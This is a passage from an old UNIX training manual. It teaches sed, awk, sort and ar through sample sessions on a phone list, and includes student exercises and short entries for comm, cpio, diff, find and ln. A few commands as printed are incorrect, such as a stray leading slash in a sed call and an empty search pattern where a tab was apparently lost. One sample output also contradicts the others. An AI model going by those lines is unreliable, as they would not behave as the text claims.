+ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The sed utility copies the named files (standard input default) +to the standard output, edited according to a set (script) of +commands. The -f options cause the script to be taken from file +"sfile". + +The general form is: + + $sed /address/instruction + +NOTE: If no address is specified, all lines are chosen to + edit. + + +'sed' addresses can be line numbers or regular expressions. + +Example: + + line numbers 2,4 + 2,$ ($ represents the last line) + + textual address /regular-expression/ + + + +NOTE: Forward slashes enclose textual addresses + +The sed instructions indicate what editing function to perform. +Here some useful sed instructions: + + s substitute + + d delete + +NOTE: Most sed command lines contain spaces or metacharacters + and they should be quoted to protect them from the + Shell. There are many more editing commands provided + by sed. The following is a sample sed command to edit + the records in the database file that we are already + familiar with; namely, phone.lis. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $sed /s/Smith/Smythe/ phone.lis ³ +³ Smythe, Joan 7-7989 ³ +³ Adams, Fran 2-3876 ³ +³ StClair, Fred 4-6122 ³ +³ Jones, Ted 1-3745 ³ +³ Stair, Rich 5-5972 ³ +³ Benson, Sam 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +sed is an editor. It simply copies the standard input to the +standard output, editing the lines that match the indicated +address. The original file is not changed. + +Here's another example of a sed command. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $sed '2,4 s/2$/3/' phone.lis ³ +³ Smith, Joan 7-7989 ³ +³ Adams, Fran 2-3876 ³ +³ StClair, Fred 4-6123 ³ +³ Jones, Ted 1-3745 ³ +³ Stair, Rich 5-5972 ³ +³ Benson, Sam 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +What does this sed command do? If you read command in English it +reads like this: On lines 2 through 4 substitute the 2 at the end +of the line with a 3. Notice that the phone number for +StClair, Fred changed from 4-6122 to 4-6123. The number for +Stair, Rich didn't change because it was outside the range. + +The sed utility can also be use to delete parts of a line of +data. This is done by substituting nothing for the parts you +want to delete. It looks like this: + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $sed 's/^.*, //' phone.lis ³ +³ Joan 7-7989 ³ +³ Fran 2-3876 ³ +³ Fred 4-6122 ³ +³ Ted 1-3745 ³ +³ Rich 5-5972 ³ +³ Sam 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Reading this command it means: + +Substitute from the beginning of the line followed by any number +of characters followed by a comma with the null string (nothing). +This has the effect of removing the text. + +Here's a delete command and how it's used. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $sed d phone.lis ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Why is there no output? Well, it read standard input and did the +editing function on all the selected lines. Since no lines were +specified all lines were selected to be edited. The editing was +to delete the line. + +Question: Has the original file been destroyed? + +Multiple commands are allowed in sed. Each instruction is +applied to each input line. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $sed '/Stair/d ³ +³ >/Adams/d' phone.lis ³ +³ Smith, Joan 7-7989 ³ +³ StClair, Fred 4-6122 ³ +³ Jones, Ted 2-1136 ³ +³ Benson, Sam 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The records for Adams and Stair have both been removed from the +database. + +NOTE: The > character is the BourneShell secondary prompt. + + +awk: A PATTERN MATCHING PROGRAMMING LANGUAGE + + +Suppose you wanted to change the format of the database phone.lis +to be the first name followed by the last name. There is no easy +way to do this with sed. Fortunately, UNIX not only provides a +stream editor (sed) but it also has a formatting tool. The +formatting tool in UNIX is called awk. This tool is named after +authors who wrote it Alfred V. Aho, Peter J. Weinberger, and +Brian W. Kerninghan so it really doesn't have any meaning. + +The awk utility is a pattern scanning and processing language. +It will search one or more files for a specified pattern and then +performs an action, such as writing to standard output or +incrementing a counter when it finds a match. You can use awk to +generate reports or filter text. It works equally well with +numbers or text. The authors designed it to be easy to use and +sacrificed execution speed toward this end. + +While the sed utility allows us to change the text in a stream, +awk allows us to easily rearrange, add, or delete text in a +stream. + +The awk takes advantage of many constructs from the C programming +language. It has the following features: + + + flexible format + conditional execution + looping statements + numeric variables + string variables + regular expressions + C's printf + + +The awk will take its input from the files you specify on the +command line or from standard input. The following is the format +for awk: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command format: awk [-Fc] [prog] [files] º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The awk will scan each line of file for lines that match a set of +patterns specified by prog. With each pattern in prog there can +be an associated action to be performed when the line is found. +The set of patterns may appear literally as prog, or in a file +specified as -f file. The prog string should be enclosed in +single quotes to protect it from the Shell. + +Files are read in order and if there are none specified the +standard input is read. Each line is matched against the pattern +portion of every pattern-action statement. The associated action +is performed for each matched pattern. An input line is made up +fields separated by white space. $1, $2.. define the fields. $0 +refers to the whole line. + +A pattern-action statement has the form: + + + pattern {action} + + +A missing action means print the line; a missing pattern always +makes a match. A statement can be one of the following: + + + if (conditional) statement [else statement] + while (conditional) statement + for (expression;conditional;expression) statement + break + continue + {[statement]...} + variable=expression + print [expression-list] [>expression] + printf format [,expression-list][>expression] + next # skip remaining pattern on this input line + exit # skip the rest of the input + + +Statements are terminated by semicolons, new lines (Ret), or +right braces. + +Let's look at the syntax for awk in a little simpler manner. + + + awk 'commands' [filename] + + +An awk program (commands) consists of a optional pattern to match +and an action to perform if a match is found on the current line. +This syntax looks like this: + + + awk '/pattern/{action}' [filename] +The pattern used is a regular expression enclosed in forward +slashes. If no pattern is listed, the action will be performed +for every line. An action can contain several commands. There +can be multiple patterns and actions. + + awk '/pattern1/{action1} + /pattern2/{action2}' [filename} + + +One of awk's commands is print. It puts the current line on +standard output. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $awk '{print}' phone.lis ³ +³ Smith, Joan 7-7989 ³ +³ Adams, Fran 2-3876 ³ +³ StClair, Fred 4-6122 ³ +³ Jones, Ted 1-3745 ³ +³ Stair, Rich 5-5972 ³ +³ Benson, Sam 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The awk splits every input line at whitespace and keeps track of +the number of fields on each line and counts the number of lines +read. Each field is identified by its field number and a $. + + $1 Identifies the first field + + $2 Identifies the second field + + . + + $0 Identifies the entire line + + NF Identifies the number of fields on the line + + NR Identifies the number of lines that have been read +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $awk '{print NR,$1}' phone.lis ³ +³ 1 Smith, ³ +³ 2 Adams, ³ +³ 3 StClair, ³ +³ 4 Jones, ³ +³ 5 Stair, ³ +³ 6 Benson, ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +To change the order of the names in phone.lis, use awk. The +comma in the print command tells awk to separate each field with +a space. Without the comma, the output would have no spacing. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $awk '{print $2, $1 ""$3}' phone.lis ³ +³ Joan Smith, 7-7989 ³ +³ Fran Adams, 2-3876 ³ +³ Fred StClair, 4-6122 ³ +³ Ted Jones, 1-3745 ³ +³ Rich Stair, 5-5972 ³ +³ Sam Benson, 4-5587 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +sort: SORT A FILE + + +The sort utility sorts line of all the named files together and +writes the result to standard output. The standard input is used +if - is used as a file name or no input files are specified. + +Comparisons are based one or more sort keys extracted from each +line of input. There is only one key by default, that's the +entire line, and ordering is lexicographic by bytes in machine +collating sequence. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command format: sort [-cmu][-ooutput][-ykmem][-zrecsz] º +º [-dfiMnr][-btx][+pos][-pos2][files] º +º º +º See on-line manual for options etc. º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The easiest way to use sort is to add it at the end af a +pipeline. What does the following command line accomplish: + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep '[45]' phone.lis | sed 's//73/' | sort ³ +³ Benson, Sam 734-5587 ³ +³ StClair, Fred 734-6122 ³ +³ Stair, Rich 735-5972 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The grep command will select only those records that have a 4 of +a 5 in the phone number, those records are then sent to sed which +will add "73" just after the tab character, then the records are +sent to sort and put in alphabetical order. Notice that there is +a problem here, should StClair come before Stair in an +alphabetical listing? The answer is NO. Why did this happen? +It occurred because of the collating sequence for the default +sort. +This can be fixed by specifying some options on the call to the +sort utility. Here are some options for sort. Let's see if we +can determine how to remedy the problem discovered in the default +sort. + +sort options: + + -f Fold lower case into upper case + -r Reverse the sort from highest to lowest + -b Ignore leading blank spaces + -d Dictionary sort - ignore nonalphanumeric characters + -m Merge two sorted files together + -n Sort the list as numbers not digit characters + +Notice the -f options folds lower case into upper case. This +option will make the sort for our problem work correctly. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $grep '[45]' phone.lis|sed 's//73/'|sort -f ³ +³ Benson, Sam 734-5587 ³ +³ Stair, Rich 735-5972 ³ +³ StClair, Fred 734-6122 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The sort can also be directed to use only a portion of the line +as a sorting key versus the entire line. The utility will +automatically break each line into fields at whitespace +delimiters. You can use a character other than whitespace by +using the -t option. The fields are set up like this: + + + 0 1 2 + /----|/---|/-------------| + Adams, Fran 2-3876 +In order to sort by the second field, here is the sort command to +enter. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $sort +1 phone.lis ³ +³ Adams, Fran 2-3876 ³ +³ StClair, Fred 4-6122 ³ +³ Smith, Joan 7-7989 ³ +³ Stair, Rich 5-5972 ³ +³ Benson, Sam 4-5587 ³ +³ Jones, Ted 1-3745 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Here's a sample of a sort on the 3rd field. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $sort +2 phone.lis ³ +³ Jones, Ted 1-3745 ³ +³ Adams, Fran 2-3876 ³ +³ Benson, Sam 4-5587 ³ +³ StClair, Fred 4-6122 ³ +³ Stair, Rich 5-5972 ³ +³ Smith, Joan 7-7989 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +A sort can also be performed by a character position within a +field. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $sort +2.4 phone.lis ³ +³ StClair, Fred 4-6122 ³ +³ Benson, Sam 4-5587 ³ +³ Jones, Ted 1-3745 ³ +³ Adams, Fran 2-3876 ³ +³ Stair, Rich 5-5972 ³ +³ Smith, Joan 7-7989 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +NOTE: The first character of a field is the delimiter for + that field. +5.1 ARCHIVER AND LIBRARY MAINTAINER + + +This command will maintain groups of files combined into a single +archive file. The main use of ar is to create and update library +files as used by the link editor. It can also be used for any +other similar purpose. The file header consists of printable +ASCII characters. If the archive consists of printable +characters, then the entire archive is also printable. + + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: ar key [posname] afile [name]... º +º º +º Unlike command options, the command key is required. The key,º +º usually a - sign, is formed with one of the following letters º +º drqtpmx. Arguments to the key are made from one or more of º +º the following set, vuaibcis. See Appendix I for a complete º +º list of command keys. º +º º +º posname is an archive member name used as a reference for º +º positioning other files in the archive. º +º º +º afile is the name of the archive. º +º º +º name[s] are the constituent files in the archive. º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +To illustrate how to create and use an archive file, we will use +the "C" program called main.c and the two functions, funct1.c and +funct2.c. First, create the object files that we intend to put +into the archive file. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cc -c main.c funct1.c funct2.c ³ +³ main.c: ³ +³ funct1.c: ³ +³ funct2.c: ³ +³ $ls -C *.o ³ +³ funct1.o funct2.o main.o ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Remember the -c option will not produce an executable module, but +it does create the object modules. These object modules are file +files that we will place into an archive. + +5.2 Creating an Archive File with Object Modules + + +In this call to ar, we will use the r command key which will +replace the named files in the archive. The v option will give a +verbose file-by-file description of the making of the new archive +file. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $ar rv functs.a funct1.o funct2.o ³ +³ a - funct1.o ³ +³ a - funct2.o ³ +³ ar: creating functs.a ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The name of the new archive file is functs.a. The files that +have been added to that archive are funct1.o and funct2.o. The +file protections for the new archive file are rw-r--r--. + + + +5.3 Verifying the Contents of the Archive File + +The key command to list the table of contents is t. The t +command will print a table of contents of the archive file. When +the v option is used with the t command it will give a long +listing of all information about the files. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $ar tv functs.a ³ +³ rw-r--r-- 115/ 200 448 Sep 27 09:56 1990 funct1.o ³ +³ rw-r--r-- 115/ 200 448 Sep 27 09:56 1990 funct2.o ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +This output shows that there are two members in this archive +file, namely, funct1.o and funct2.o. + +The protections of these files is: + + owner - read and write + group - read + other - read + +The fields are, left to right, the file protections, owner, +group, size (in bytes), creation date and time, and finally the +name of the constituent. +5.4 Removing Duplicate Object Files + + +Once the archive has been created and verified, the object files +in your directory can be deleted. This can be accomplished with +the rm command. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $rm funct?.o ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The question mark (?) is a wildcard that stands for any single +character. The files funct1.o and funct2.o no longer exist in +your subdirectory. + + + +5.5 Compiling Main and Archive Files + + +Now that the object files, funct1.o and funct2.o, are in the +archive file functs.a you, can link them with main.o in the +following manner. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cc -o new_hello main.o functs.a ³ +³ $ls -la new_hello ³ +³ -rwxr-xr-x 1 teacher class 17570 Sep 27 12:58 new_hello ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +Workshop 5 + +This workshop will reinforce your understanding of the ideas +presented in this chapter. Login using the username and password +given to you by the instructor. Each student is to complete the +entire workshop. + +DESK EXERCISES + + + + 1. What does the UNIX utility grep do? + + + + + + + + + 2. What do the following regular expressions represent? + + + ^Ba + + + + .* + + + + BB* + + + + J* + + + + [0-9]*$ + + + + 3. What does the UNIX utility sed do? + + + + + + + + Continue on the next page + 4. What does the UNIX utility awk do? + + + + + + + 5. What does the UNIX utility sort do? + + + + + + + 6. What is the main use for the UNIX utility ar? + + + + + + + Continue on the next page + COMPUTER EXERCISES + + Use the phone.lis database file to answer the following + questions. + + + 7. "I want to find all the phone numbers that begin with a + 4 and end with a 2" + + + + + + 8. "I can't remember the name but I believe the last name + starts with an S and the first name with an F" + + + + + 9. Find all the people with 3 character first names. + + + + + + 10. Write a grep command that finds all the phone numbers + that don't begin with a 4, 5, or 6. + + + + + 11. Write a grep command that finds all entries beginning + with J-Z and ending with a 2 or 5. + + + + + + 12. Put a 23 in front of every phone number. (Hint: sed) + + + + + + 13. Replace the first name with the person's first initial + and a period. + + + + + + Continue on the next page + 14. Task: A new phone system has been installed and people + with phone extensions beginning with 4 or 5 now have a + new prefix: 73. Create a file of only the people with + the new phone numbers. + + + + + + + 15. Print out the phone list showing last name and first + name in the following format and sorted by last name. + + + First name Last name + + + + + + That's enough, don't you think? +6. UNIX UTILITIES PART I - DISPLAY AND MANIPULATE FILES + + +Problem: I want to know what the differences are between two + sorted files. + +Solution: comm command + + +The formal form for the comm command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: comm [ - [ 123 ] ] file1 file2 º +º º +º Details in on-line man pages º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This command will display a line-by-line comparison of two sorted +files. The output is divided into three columns. The first +column shows the lines only found in the first file, the second +shows the lines only found in the second file, and the third +column shows the lines common to both. + + +Sample session: + +................................................................. +. $comm comm_file1 comm_file2 . +................................................................. + +Problem: I want to store and retrieve files in an archive format + to create backups, transport files to another + compatible system or create archives. + +Solution: cpio command + + + +The formal form for the cpio utility is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: cpio -o[options] º +º º +º cpio -i[options] [patterns] º +º º +º cpio -p[options] directory º +º º +º º +º See on line man pages for details on options º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + +The cpio utility has three functions. It can copy one or more +files into a single archive file, retrieve files from a +previously created archive file, or it can copy directories. The +three major options are: + + + -o (out) This option will cause cpio to read standard + input to get pathnames of plain files. It + combines these along with header info into a + single archive file that it copies to + standard output. + + -i (in) This option will read standard input (which + must have been created with the -o option). + It extracts files based on patterns you + provide as arguments. + + -p (pass) This option causes cpio to read its standard + input to obtain a list of filenames. It + copies these files to a directory you + specify. +Problem: I have two files and I want to know the differences + between them. + +Solution: diff command + + + +The formal form for the diff command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: diff [options] file1 file2 º +º º +º See online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + +This command will display the differences between two files on a +line-by-line basis. The differences are displayed as commands +you can use to make the two files equal. + +Sample session: +................................................................. +. $diff diff_file1 diff_file2 . +................................................................. + +Problem: I can't remember the name of a file but I know it is in + a specific subdirectory and I do know some of its + attributes. + +Solution: find command + + + +The formal form for the find command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: find directory_list expression º +º º +º See online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The directory_list contains the pathnames of a directory or +directories that find will search. The expression contains one +or more search criteria. The utility will test each of the files +in the directory_list to see if meets the criteria described by +the expression. + + +Sample session: + +................................................................. +. $find . -name 'm* ' -print . +................................................................. + +Problem: I want a file that exists in another users directory to + appear in my directory listing. + +Solution: Create a link to that file using the ln command + + + + +The formal form for the ln command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: ln existing_file new_link º +º º +º ln existing_file_list directory º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The existing_file is the pathname to the file you want to make a +link to. The new_link is the pathname to the new link. The +second format allows existing_file_list entries which are +pathnames that you want links to, they will appear in directory. +Problem: I want to see contents of a file displayed in octal + format. + +Solution: Use the od command to display the file in the selected + format. + + + +The formal form for the od command is as follows: + 